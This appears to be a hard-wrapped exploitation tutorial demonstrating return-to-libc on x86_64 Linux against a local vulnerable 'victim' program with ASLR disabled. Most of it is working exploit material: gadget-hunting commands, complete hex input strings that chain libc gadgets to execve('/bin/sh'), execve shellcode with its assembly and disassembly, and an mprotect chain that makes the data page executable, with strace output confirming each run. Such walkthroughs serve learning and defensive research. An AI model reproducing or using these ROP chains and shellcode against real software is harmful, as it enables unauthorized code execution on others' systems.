something for %rdi, %rsi and %rdx. And since this will need to be chained (event
ually everything needs to end up in <execve>, we will need to return, as well.

RET2LIBC is also referred to as POP POP RET. And here's why: what we'll do is fi
nd code that does:
pop %rdi
retq
pop %rsi
retq
pop %rdx
retq
<execve>
These individual 'pop-rets' are usually referred to as "gadgets". They will allo
w us to jump around the code. So, we need to find memory addresses to give us th
is.
This is where the article linked above was very useful. We can grep through libc
for retq, but that's a lot of stuff to go through. If we know what the actual h
ex opcodes are, we can look for them directly. To make this easy, I wrote a real
quick bit of assembly that pushed some stuff to the stack, then pops rdi, rsi,
rex, dcx, r9 and r8.
600084:
600085:
600086:
600087:
600088:
60008a:

5f
5e
5a
59
41 59
41 58

pop
pop
pop
pop
pop
pop

%rdi
%rsi
%rdx
%rcx
%r9
%r8

Nicely, all the main register "pops" are just a single byte.
We can now look for "pop %rdi - retq" by bytes:
# locate libc.so
/lib/libc.so.6
/lib32/libc.so.6
/opt/AutoScan/usr/lib/libc.so
/opt/AutoScan/usr/lib/libc.so.6
/usr/lib/libc.so
# xxd -c1 -p /lib/libc.so.6 | grep -n -B1 c3 | grep 5f | awk '{printf"%x\n",$1-1
}'
2028b
22a3e
233fa
23a77
248cf
254b9
25d54
261f1
2675e
27047
277e4
27b71
280f8
28761
290cd
...
Note: when doing this on your own machine, results will be different. If followi
ng along, follow the logic, don't just copy/paste commands.

This basically gives us a sequence of offset addresses since the beginning of li


bc with byte sequences matching 5f c3 (retq).
We can get the address in memory of libc by running victim and grepping proc/$pi
d/maps in a different shell window:
(Note, in another shell run: setarch `arch` -R ./victim
isables ASLR)

-- setarch `arch` -R d

# ps -ef | grep victim


root
28258 28233 0 13:21 pts/3
00:00:00 ./victim
root
28262 26527 0 13:21 pts/1
00:00:00 grep --color=auto victim
# grep libc /proc/28258/maps
7ffff7a57000-7ffff7bd4000 r-xp 00000000 08:05 46534885
/lib/li
bc-2.11.1.so
7ffff7bd4000-7ffff7dd3000 ---p 0017d000 08:05 46534885
/lib/li
bc-2.11.1.so
7ffff7dd3000-7ffff7dd7000 r--p 0017c000 08:05 46534885
/lib/li
bc-2.11.1.so
7ffff7dd7000-7ffff7dd8000 rw-p 00180000 08:05 46534885
/lib/li
bc-2.11.1.so
So, libc (executable) lives at 0x00007ffff7a57000
pick one of the offsets above, and simply add it to the libc address, and we hav
e our first gadget!
We do exactly the same for pop %rsi and pop %rdx. Finally, we need to find the o
ffset for the <execve> function:
# nm -D /lib/libc.so.6 | grep '\<execve\>'
00000000000acf80 W execve
We do the same as before, we just add this to the libc base address:
# printf %016x $((0x7ffff7a57000+0xacf80)) | tac -rs..
803fb0f7ff7f0000
(note, we need this in reverse order)
The same printf command is also used to calculate the addresses for our pop-ret
gadgets.
We place /bin/sh at the beginning of our buffer, and place the addresses and the
ir values appropriately, which results in the following input string:
2f62696e2f7368000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000d0e5ffffff7f0000cfb8a7f7ff7f0000
d0e5ffffff7f0000187baaf7ff7f00000000000000000000928ba5f7ff7f00000000000000000000
803fb0f7ff7f0000
I then turn this to binary with xxd -r -p and feed it into victim:
This results in the following stack:
----------------------|
/bin/sh + 00s
|
|
|
|
64 bytes
|

|
|
|---------------------|
| 0x00007fffffffe5d0 |
|---------------------|
| 0x00007ffff7a7b8cf |
|---------------------|
| 0x00007fffffffe5d0 |
|---------------------|
| 0x00007ffff7aa7b18 |
|---------------------|
| 0x0000000000000000 |
|---------------------|
| 0x00007ffff7a58b92 |
|---------------------|
| 0x0000000000000000 |
|---------------------|
| 0x00007ffff7b03f80 |
|
. . .
|

<-- buffer address, will be %rbp


<-- libc: pop %rdi-ret
<-- buffer address: val of %rdi
<-- libc: pop %rsi-ret
<-- null: val of %rsi
<-- libc: pop %rdx-ret
<-- null: val of %rdx
<-- libc: <execve>

So, does this work? It does, but with some caveats. The thing that really messed
with my head was that it would work in gdb, but then wouldn't work outside of i
t. Once I realized that gdb added 0x20 to the stack itself, between running inte
ractive and through gdb I had to adjust offsets. The second thing is that while
it runs, you don't actually get the shell you expect, you just get back to the c
ommand prompt. Not that that's a terrible thing here, all we're trying to do her
e is prove that we can do this, and the code is somewhat irrelevant. Running str
ace, we can see that we indeed executed /bin/bash, though:
[
7ffff7b3c51a] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYM
OUS, -1, 0) = 0x7ffff7ff7000
[
7ffff7b31f90] read(0, "/bin/sh\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
0\0\0"..., 4096) = 128
[
7ffff7b31f90] read(0, "", 4096)
= 0
[
7ffff7b31ff0] write(1, "content of buffer: /bin/sh\n", 27content of buffer:
/bin/sh
) = 27
[
7ffff7b03f87] execve("/bin/sh", [0], [0]) = 0
[
7ffff7df3fca] brk(0)
= 0x6ea000

[
7ffff76ea325] stat("/usr/local/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No
such file or directory)
[
7ffff76ea325] stat("/usr/local/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No s
uch file or directory)
[
7ffff76ea325] stat("/usr/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such f
ile or directory)
[
7ffff76ea325] stat("/usr/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such fi
le or directory)
[
7ffff76ea325] stat("/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file
or directory)
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0

[
7ffff76bdad7] geteuid()
= 0
[
7ffff76bdaf7] getegid()
= 0
[
7ffff76bdac7] getuid()
= 0
[
7ffff76bdae7] getgid()
= 0
[
7ffff76eb047] access("/bin/bash", X_OK) = 0
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0

Very good! It does actually work. (you can see the write back to stdout with the
buffer contents, followed by the execve syscall)
IMPORTANT: In x86_64, we're passing 8 byte addresses and cannot shorten it. ALL
MEMORY ADDRESSES HAVE AT LEAST TWO NULL BYTES. Therefore, let's forget about nul
l-free input
-------------------------------------------********************************
2. RET2LIBC MPROTECT + SHELLCODE
********************************
Now, this is nice, but what I _really_ like is run my own shell code of choice.
We can endlessly chain pop-ret if we want to, but at 8 bytes for each instructio
n/gadget, that quickly gets quite large. If we can use ret2libc just for a first
stage and then get some code executed, we can do a lot more.
So far we've "defeated" NX by simply never attempting to run any inserted code.
We'll _actually_ have to defeat it if we want to run arbitrary code.
To test shell code, I typically use this bit of C:
-int main(int argc, char **argv) {
void *ptr = mmap(0, sizeof(shellcode),
PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
| MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;
sc();
return 0;
}
--

So, we should be able to do a similar thing as above and chain gadgets to mmap a
n area, memcpy the shell code into it, and direct execution there.
One problem (And this took a while to figure out) mmap takes 6 parameters:
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t
offset);
This wouldn't be a problem if it were easy to find pop %r8 and pop %r9 near a re
t, or something equivalent, but multiple searches through libc with either grep
or xxd showed this was a dead end. 41-59-c3 and 41-58-c3 simply don't exist in (
my) libc, and grepping objdump doesn't give us anything useful. So, we need a di
fferent plan.
Rather than mmapping a location directly to PROT_EXEC | PROT_WRITE | PROT_READ a
nd then copying, we can copy first to a data section, and then run mprotect to c
hange the permissions.
void *memcpy(void *dest, void *src, size_t count);
int mprotect(const void *addr, size_t len, int prot);
We need to find an area to copy to. With readelf we can find relevant sections:
0
0
0
7
0
0
0
0
0

[19]
0
[20]
0
[21]
0
[22]
0
[23]
0
[24]
0
[25]
0
[26]
0
[27]
0

.ctors
8
.dtors
8
.jcr
8
.dynamic
8
.got
8
.got.plt
8
.data
8
.bss
8
.comment
1

PROGBITS

0000000000600e18 000e18 000010 00 WA

PROGBITS

0000000000600e28 000e28 000010 00 WA

PROGBITS

0000000000600e38 000e38 000008 00 WA

DYNAMIC

0000000000600e40 000e40 0001a0 10 WA

PROGBITS

0000000000600fe0 000fe0 000008 08 WA

PROGBITS

0000000000600fe8 000fe8 000038 08 WA

PROGBITS

0000000000601020 001020 000010 00 WA

NOBITS

0000000000601030 001030 000010 00 WA

PROGBITS

0000000000000000 001030 000025 01 MS

I decided to pick 0x601040. So, this is where we will write the shellcode. This
is a rw- memory area (W=write; A=access), so writing shouldn't be a problem. The
n, with mprotect we will set it to executable. For mprotect, I found out the har
d way that this works on a whole page, and once I realized what that actually me
ant 0x601000 will be the address we pass to mprotect. That will then also apply
to the .data and .bss sections.
---------------------------------PROT_EXEC | PROT_WRITE | PROT_READ
This works just like rwx on the file system, so 7 = rwx, 5 = r-x, 6 = rw-, etc.
I tried both 7 and 5, and both worked on my system. Some implementations apparen
tly check whether W is set as well as X and don't allow that, so 5 is the cleane
r option, unless your shell code needs to write further data, of course (but you

could use the stack for that as well).


---------------------------------Both memcpy and mprotect are three parameter functions, so we can reuse our prev
iously found gadgets. (Though pop %rdx just happens to be another one)
OK, some shellcode. This essentially does the same thing as we did before: run a
n execve to /bin/sh. Again, I'll just use null, null for the argv and envy param
s.
-[bits 64]
global _start
section .data
command db "/bin/sh", 0x00
; 8 chars
_start:
xor
xor
xor
xor

eax,
esi,
edi,
edx,

eax
esi
edi
edx

popshell:
mov al,0x3b
lea rdi, [rel command]
syscall
call _start
exit:
xor eax, eax
mov al, 60
xor edi, edi
syscall
nop
nop
nop
nop
nop
-/bin/sh is loaded from a [rel command] so the address is relative (and negative,
so no nulls, even though that doesn't matter here). The exit syscall here is re
dundant because it is never reached. The call was with the idea that if an error
occurred it would be able to recover by looping back up, but that isn't actuall
y how execve works, so could also be cut.
0000000000600078 <command>:
600078:
2f
600079:
62
60007a:
69 6e 2f 73 68 00 31

(bad)
(bad)
imul $0x31006873,0x2f(%rsi),%ebp

0000000000600080 <_start>:
600080:
31 c0
600082:
31 f6
600084:
31 ff
600086:
31 d2

xor
xor
xor
xor

%eax,%eax
%esi,%esi
%edi,%edi
%edx,%edx

0000000000600088 <popshell>:
600088:
b0 3b
60008a:
48 8d 3d e7 ff ff ff
<command>
600091:
0f 05
600093:
e8 e8 ff ff ff
0000000000600098 <exit>:
600098:
31 c0
60009a:
b0 3c
60009c:
31 ff
60009e:
0f 05
6000a0:
90
6000a1:
90
6000a2:
90
6000a3:
90
6000a4:
90

mov
lea

$0x3b,%al
-0x19(%rip),%rdi

# 600078

syscall
callq 600080 <_start>
xor
%eax,%eax
mov
$0x3c,%al
xor
%edi,%edi
syscall
nop
nop
nop
nop
nop

Without the nops, that is 40 characters. We should have 64 chars at least for si
ze, and +16 if we don't care about the stack base pointer. The effective code he
re is 26 bytes (without the call and exit), so 64 would allow us quite a few mor
e actions, especially if we do standard de-nulling.
The bytes under <command> stand for /bin/sh, 0x00. Because of the null byte, the
rest of the shell code will not be echoed to the screen when victim prints the
buffer. You can also see that command is 0x19 back from %rip when its address is
loaded.
For our pop-ret chain, we do have to remember to jump to <_start> at <command>+0
x08 to jump into executable code, rather than the top of our base address. (If y
ou don't, you start executing the /bin/sh bytes 2f, 62, etc. which give you an b
ad instruction error)
xxd -s0x78 -l40 -p the compiled code to generate the shell code. This will go at
the start of our input string.
2f62696e2f73680031c031f631ff31d2b03b488d3de7ffffff0f05e8e8ffffff31c0b03c31ff0f05
This is what the stack will look right after the get function in victim:
----------------------| 2f62696e2f73680031..|
|
|
|
64 bytes
|
|(filled up with 0x00)|
|---------------------|
| 0x00007fffffffe5d0 |
|---------------------|
| 0x00007ffff7a7b8cf |
|---------------------|
| 0x0000000000601040 |

<-- /bin/sh, 0x00 + executable shellcode

<-- %rbp (upon leave)


<-- libc: pop %rdi-ret
<-- start of mem to write to (dest): val of %rd

i
|---------------------|
| 0x00007ffff7aa7b18 | <-- libc: pop %rsi-ret
|---------------------|
| 0x00007fffffffe5d0 | <-- buffer to copy from (src): val of $rsi
|---------------------|
| 0x00007ffff7aa32d2 | <-- libc: pop %rdx-ret
|---------------------|

| 0x0000000000000028 |
|---------------------|
| 0x00007ffff7adf290 |
|---------------------|
| 0x00007ffff7a7b8cf |
|---------------------|
| 0x0000000000601000 |
|---------------------|
| 0x00007ffff7aa7b18 |
|---------------------|
| 0x0000000000001000 |
|---------------------|
| 0x00007ffff7aa32d2 |
|---------------------|
| 0x0000000000000005 |
|---------------------|
| 0x00007ffff7b3c570 |
|---------------------|
| 0x0000000000601048 |
|---------------------|
| 0xacabacabacabacab |
|---------------------|
|
|
|
. . .
|

<-- length to copy: 40 (0x28): val of %rdx


<-- libc: <memcpy>
<-- libc: pop %rdi-ret
<-- top of page to mprotect: val of %rdi
<-- libc: pop %rsi-ret
<-- page size: val of %rsi
<-- libc: pop %rdx-ret
<-- r-x: val of %rdx
<-- libc: <mprotect>
<-- direct to executable shell code (+0x08)
<-- marker/signature

Full hex input string:


2f62696e2f73680031c031f631ff31d2b03b488d3de7ffffff0f05e8e8ffffff31c0b03c31ff0f05
000000000000000000000000000000000000000000000000d0e5ffffff7f0000cfb8a7f7ff7f0000
4010600000000000187baaf7ff7f0000d0e5ffffff7f0000d232aaf7ff7f00002800000000000000
90f2adf7ff7f0000cfb8a7f7ff7f00000010600000000000187baaf7ff7f00000010000000000000
d232aaf7ff7f0000050000000000000070c5b3f7ff7f00004810600000000000abacabacabacabac
I save this in a file called mprot.ascii, and then convert to binary:
# xxd -r -p mprot.ascii mprot
I then run the exploit by cat'ing the file into the victim program.
-# cat mprot | setarch `arch` -R ./victim
buffer address: 0x7fffffffe5d0
Enter text for name:
content of buffer: /bin/sh
#
-Again, we don't actually get a shell, but we can check with strace again whether
/bin/bash is actually started. And it is. Also note the call to mprotect(0x6010
00, 4096, PROT_READ|PROT_EXEC) = 0 right before /bin/sh is executed:
[
7ffff7b3c51a] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYM
OUS, -1, 0) = 0x7ffff7ff7000
[
7ffff7b31f90] read(0, "/bin/sh\0001\3001\3661\3771\322\260;H\215=\347\377\3
77\377\17\5\350\350\377\377\377"..., 4096) = 200
[
7ffff7b31f90] read(0, "", 4096)
= 0
[
7ffff7b31ff0] write(1, "content of buffer: /bin/sh\n", 27content of buffer:

/bin/sh
) = 27
[
7ffff7b3c577] mprotect(0x601000, 4096, PROT_READ|PROT_EXEC) = 0
[
60105b] execve("/bin/sh", [0], [0]) = 0
[
7ffff7df3fca] brk(0)
= 0x6ea000

[
7ffff76ea325] stat("/usr/local/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No
such file or directory)
[
7ffff76ea325] stat("/usr/local/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No s
uch file or directory)
[
7ffff76ea325] stat("/usr/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such f
ile or directory)
[
7ffff76ea325] stat("/usr/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such fi
le or directory)
[
7ffff76ea325] stat("/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file
or directory)
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
[
7ffff76bdad7] geteuid()
= 0
[
7ffff76bdaf7] getegid()
= 0
[
7ffff76bdac7] getuid()
= 0
[
7ffff76bdae7] getgid()
= 0
[
7ffff76eb047] access("/bin/bash", X_OK) = 0
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0

/bin/bash executed.
So, we know that the shell code was executed, but we can also check what happene
d to our data page. Before we checked /proc/$pid/maps to check the in-memory loc
ation of libc, we can do the same to get everything:
Before (at program start):
# cat /proc/24034/maps
00400000-00401000 r-xp 00000000 08:05 9699676
xx/victim
00600000-00601000 r--p 00000000 08:05 9699676
xx/victim
00601000-00602000 rw-p 00001000 08:05 9699676
xx/victim
7ffff7a57000-7ffff7bd4000 r-xp 00000000 08:05 46534885
bc-2.11.1.so
7ffff7bd4000-7ffff7dd3000 ---p 0017d000 08:05 46534885
bc-2.11.1.so
7ffff7dd3000-7ffff7dd7000 r--p 0017c000 08:05 46534885
bc-2.11.1.so

/xx/xx/
/xx/xx/
/xx/xx/
/lib/li
/lib/li
/lib/li

After (at 0x601048):


# cat /proc/24034/maps
00400000-00401000 r-xp 00000000 08:05 9699676
xx/victim
00600000-00601000 r--p 00000000 08:05 9699676
xx/victim
00601000-00602000 r-xp 00001000 08:05 9699676
xx/victim
7ffff7a57000-7ffff7bd4000 r-xp 00000000 08:05 46534885
bc-2.11.1.so
7ffff7bd4000-7ffff7dd3000 ---p 0017d000 08:05 46534885
bc-2.11.1.so
7ffff7dd3000-7ffff7dd7000 r--p 0017c000 08:05 46534885
bc-2.11.1.so

/xx/xx/
/xx/xx/
/xx/xx/
/lib/li
/lib/li
/lib/li

00400000-00401000 is the code section


00600000-00601000 program stuff: .ctors, .dtors, .got, .got.plt, etc.
00601000-00602000 data section
i.e.:
Before: 00601000-00602000 rw-p 00001000 08:05 9699676
/xx/xx/xx/victim
After: 00601000-00602000 r-xp 00001000 08:05 9699676
/xx/xx/xx/victim
=====================================================
This proves the ret2libc/poppopret concept. In order to make all of this rea
lly useful, we'll also have to deal with stack protection and ASLR. Perhaps anot
her time ;)
RET2LIBC x86_64 EXECVE and MPROTECT + SHELLC0DE EXEC ON LINUX
Demonstrate the use of re2libc on a modern/up-to-date x86_64 Linux system for co
mmand execution and running shell code
===============================================================
With the move to x86_64 and a lot of current protection mechani

Potrebbero piacerti anche